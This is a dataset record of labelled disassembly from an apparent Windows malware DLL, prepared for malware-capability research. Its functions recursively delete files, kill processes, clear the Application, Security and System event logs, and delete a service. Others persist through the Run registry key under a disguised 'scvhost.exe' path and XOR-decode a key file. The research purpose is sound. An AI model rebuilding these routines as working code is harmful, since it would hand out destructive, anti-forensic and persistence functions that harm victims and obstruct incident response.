joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002980
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0xffffffffffffffff
push 0x10017ce6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x174
mov al, byte [esp + 3]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
lea ecx, [esp + 0x14]
mov byte [esp + 0x14], al
call fcn.10002d40
mov edx, dword [esp + 0x190]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp + 0x18]
call fcn.10002d90
mov eax, dword [esp + 0x18]
mov dword [esp + 0x188], ebx
lea esi, [eax - 1]
cmp eax, esi
ja 0x100029e7
call fcn.1001225f
lea ecx, [esp + 0x10]
call fcn.10002cc0
mov ecx, dword [esp + 0x14]
cmp byte [ecx + esi], 0x5c
je 0x10002a07
push 0x5c
push 1
lea ecx, [esp + 0x18]
call fcn.10002bf0
lea edx, [esp + 0x10]
push 0x1001ea30
lea eax, [esp + 0x24]
push edx
push eax
call fcn.10002f60
mov eax, dword [eax + 4]
add esp, 0xc
cmp eax, ebx
jne 0x10002a2a
mov eax, 0x10019454
lea ecx, [esp + 0x40]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 1
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.10002d40
cmp esi, 0xffffffff
jne 0x10002a61
push 1
lea ecx, [esp + 0x14]
mov dword [esp + 0x18c], esi
call fcn.10002d40
xor al, al
jmp 0x10002b94
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test byte [esp + 0x44], 0x10
je 0x10002af1
lea edx, [esp + 0x70]
push 0x1001e88c
push edx
call fcn.10011780
add esp, 8
test eax, eax
je 0x10002b48
lea eax, [esp + 0x70]
push 0x1001ea2c
push eax
call fcn.10011780
add esp, 8
test eax, eax
je 0x10002b48
lea ecx, [esp + 0x70]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x38]
push edx
push eax
call fcn.10002f60
add esp, 0xc
mov eax, dword [eax + 4]
mov byte [esp + 0x18c], 1
cmp eax, ebx
jne 0x10002ad4
mov eax, 0x10019454
push eax
call fcn.10002980
add esp, 4
lea ecx, [esp + 0x34]
mov byte [esp + 0x18c], bl
push 1
call fcn.10002d40
jmp 0x10002b48
lea ecx, [esp + 0x70]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
call fcn.10002f60
mov eax, dword [eax + 4]
add esp, 0xc
cmp eax, ebx
jne 0x10002b14
mov eax, 0x10019454
push eax
call edi
mov eax, dword [esp + 0x28]
cmp eax, ebx
je 0x10002b3c
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x10002b33
cmp al, 0xff
je 0x10002b33
dec al
mov byte [ecx], al
jmp 0x10002b3c
push ecx
call fcn.10008372
add esp, 4
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
lea ecx, [esp + 0x44]
push ecx
push esi
call ebp
test eax, eax
jne 0x10002a6e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x194]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [esp + 0x18]
pop ebp
cmp ecx, ebx
je 0x10002b92
mov al, byte [ecx - 1]
cmp al, bl
je 0x10002b88
cmp al, 0xff
je 0x10002b88
dec al
mov byte [ecx - 1], al
jmp 0x10002b92
dec ecx
push ecx
call fcn.10008372
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x180]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x180
ret
Function at 0x10003490
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x10017d33
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov dword [esp + 0x144], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10003566
lea ecx, [esp + 0x144]
call fcn.1001317b
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10003558
lea edx, [esp + 0x30]
lea ecx, [esp + 8]
push edx
call fcn.10012f18
lea ecx, [esp + 8]
mov byte [esp + 0x13c], 1
call fcn.1001317b
mov eax, dword [esp + 0x144]
mov ecx, dword [esp + 8]
push eax
push ecx
call fcn.10008e35
add esp, 8
test eax, eax
je 0x10003596
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.10013133
lea ecx, [esp + 8]
mov byte [esp + 0x13c], bl
call fcn.10012eee
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100034f6
push 0xffffffffffffffff
lea ecx, [esp + 0x148]
call fcn.10013133
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], 0xffffffff
call fcn.10012eee
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x12c]
mov dword fs:[0], ecx
add esp, 0x138
ret
mov eax, dword [esp + 0x14]
push eax
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.10013133
push 0xffffffffffffffff
lea ecx, [esp + 0x148]
call fcn.10013133
lea ecx, [esp + 8]
mov byte [esp + 0x13c], bl
call fcn.10012eee
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], 0xffffffff
call fcn.10012eee
mov ecx, dword [esp + 0x134]
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret
Function at 0x10003620
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x1104
call fcn.100088a0
push ebx
push ebp
push esi
push edi
push 0x800
call fcn.10008914
mov ebx, eax
mov ecx, 0x41
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, 0x1ff
lea edi, [esp + 0x119]
mov byte [esp + 0x118], al
mov byte [esp + 0x918], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x919]
add esp, 4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push str.CTXOPConntion_Class
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x100037c6
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0x10]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100036e5
test cl, cl
je 0x100036e1
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100036e5
add eax, 2
add esi, 2
test cl, cl
jne 0x100036c1
xor eax, eax
jmp 0x100036ea
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100037b3
test ebp, ebp
je 0x1000370a
lea eax, [esp + 0x114]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x113]
dec ecx
cmp al, 0x5f
jne 0x1000371b
lea edi, [esp + ecx + 0x115]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x914]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10003787
mov edi, 0x1001ea38
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x914]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
test ebp, ebp
jne 0x10003692
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x100037f1
mov edi, 0x1001ea34
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x1104
ret
Function at 0x100038e0
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x404
push ebp
push esi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x100235ea]
test ax, ax
je 0x100039c8
push 0
xor esi, esi
push 0x80
push 4
mov si, ax
mov eax, dword [esp + 0x41c]
push 0
push 2
push 0x40000000
push eax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x100039c8
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x100039c0
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0xc], 0
test esi, esi
jbe 0x100039c0
push ebx
test edi, 0x3ff
jne 0x100039a2
xor ebx, ebx
call fcn.10008ee4
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x10003983
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, esi
jb 0x10003979
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x404
ret

Function at 0x10003d50
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x10]
mov dword [esp], str.Application
and eax, 0xff
mov dword [esp + 4], str.Security
dec eax
mov dword [esp + 8], str.System
cmp eax, 3
ja case.default.0x10003d7a
jmp dword [eax*4 + 0x10003df8]
mov eax, 0x10023dfc
mov dword [esp + 4], eax
mov dword [esp + 8], eax
jmp case.0x10003d7a.1
mov eax, 0x10023dfc
mov dword [esp], eax
mov dword [esp + 8], eax
jmp case.0x10003d7a.1
mov eax, 0x10023dfc
mov dword [esp], eax
mov dword [esp + 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
lea edi, [esp + 0x10]
mov dword [esp + 0x20], 3
mov ecx, dword [edi]
push ecx
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10003de1
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x20]
add edi, 4
dec eax
mov dword [esp + 0x20], eax
jne 0x10003dc8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x10003e10
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003e35
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xf5
push 0x1001e5c8
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003e53
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret
Function at 0x10004020
Capabilities:
Delete service
Terminate process

Disassembly:
sub esp, 0x94
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Cdefgh
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
call fcn.10001c60
lea eax, [esp]
mov dword [esp], 0x94
push eax
call dword [0x10024268]
cmp dword [esp + 0x10], 2
jne 0x1000407a
cmp dword [esp + 4], 6
jb 0x1000407a
mov dword [0x10024354], 1
push 0
call fcn.10008f33
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x100042e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2dc
push ebx
mov ebx, dword [esp + 0x2e4]
push esi
push edi
mov ecx, 0x5c
mov esi, ebx
lea edi, [esp + 0x178]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x59
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 2
stosb byte es:[edi], al
push 0
push 1
lea eax, [esp + 0x298]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10004345
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x2dc
ret
mov edx, dword [esp + 0x2f0]
lea ecx, [esp + 0xc]
push 0
add edx, 0xfffffe90
push ecx
add ebx, 0x170
push edx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10004376
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
push esi
call dword [0x1002423c]
lea edi, [esp + 0x180]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100043b5
lea eax, [esp + 0x180]
lea ecx, [esp + 0x284]
push eax
push ecx
lea edx, [esp + 0x18]
push str._s__s
push edx
call dword [0x1002428c]
add esp, 0x10
jmp 0x100043c8
lea eax, [esp + 0x284]
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x17c]
sub eax, 0
je 0x10004401
dec eax
je 0x100043f8
sub eax, 2
jne 0x10004410
lea edx, [esp + 0x10]
push edx
call fcn.10004020
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
lea eax, [esp + 0x10]
push 0
push eax
jmp 0x10004408
lea ecx, [esp + 0x10]
push 5
push ecx
call fcn.10004090
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2dc
ret
Function at 0x10004760
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x164
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
lea edi, [esp + 0x36]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x6c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x1000480c
mov edx, dword [esp + 0x168]
lea ecx, [esp + 0x60]
push 0x104
push ecx
push 1
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x164
ret

Function at 0x10004820
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10004846
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret
Function at 0x10005190
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str.Default
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x24]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x2c]
and ecx, 3
push closesocket
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x100052be
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.10008914
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebx
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x100052a8
mov bl, byte [eax + esi]
xor bl, 0x62
mov byte [eax + esi], bl
inc eax
cmp eax, edi
jb 0x1000529a
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.10005130
push esi
mov ebx, eax
call fcn.10008372
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x10005450
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
sub esp, 0x140
push str.Cdefgh
lea eax, [esp + 0x40]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push str.Cdefgh
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp]
lea edx, [esp + 0x3c]
push ecx
push 0x20019
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x50
call fcn.10008914
add esp, 4
lea ecx, [esp + 8]
lea edx, [esp + 4]
mov dword [esp + 4], 1
push ecx
push eax
mov eax, dword [esp + 8]
push edx
push 0
push str.Group
push eax
mov dword [esp + 0x20], 0x50
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10005588
push edi
mov edi, str.Default
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
push str.Default
push 1
lea ecx, [esp + 0x50]
push str.Group
push ecx
push closesocket
call fcn.10008140
add esp, 0x1c
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [esp + 0x1a]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x16]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x16]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x34]
push str._4d__.2d__.2d__.2d:_.2d
push edx
call dword [0x1002428c]
add esp, 0x1c
lea eax, [esp + 0x20]
push 1
push eax
call dword [0x100242e4]
add esp, 4
lea ecx, [esp + 0x24]
lea edx, [esp + 0x44]
push eax
push ecx
push 1
push str.InstallTime
push edx
push closesocket
call fcn.10008140
add esp, 0x1c
pop edi
add esp, 0x140
ret

Function at 0x10005590
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x110
push esi
push edi
mov edi, str.SYSTEMCurrentControlSetServices
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
push 0x20019
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x50
call fcn.10008914
add esp, 4
lea ecx, [esp + 0x10]
lea edx, [esp + 8]
mov dword [esp + 8], 1
push ecx
push eax
mov eax, dword [esp + 0x14]
push edx
push 0
push str.Group
push eax
mov dword [esp + 0x28], 0x50
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
pop edi
pop esi
test eax, eax
je 0x1000561c
call fcn.10005450
add esp, 0x110
ret
Function at 0x100059c0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call fcn.100091c0
add esp, 8
test eax, eax
jne 0x10005a02
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x10005a2d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x10005aaa
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
lea edx, [esp + 0x6c]
push 0x1001eb38
push edx
call fcn.10009040
add esp, 8
test eax, eax
jne 0x10005b27
lea eax, [esp + 0x6c]
push 0x1001eb34
push eax
call fcn.10009040
add esp, 8
test eax, eax
jne 0x10005b27
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x1001eb30
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10005b36
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x10005b5e
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret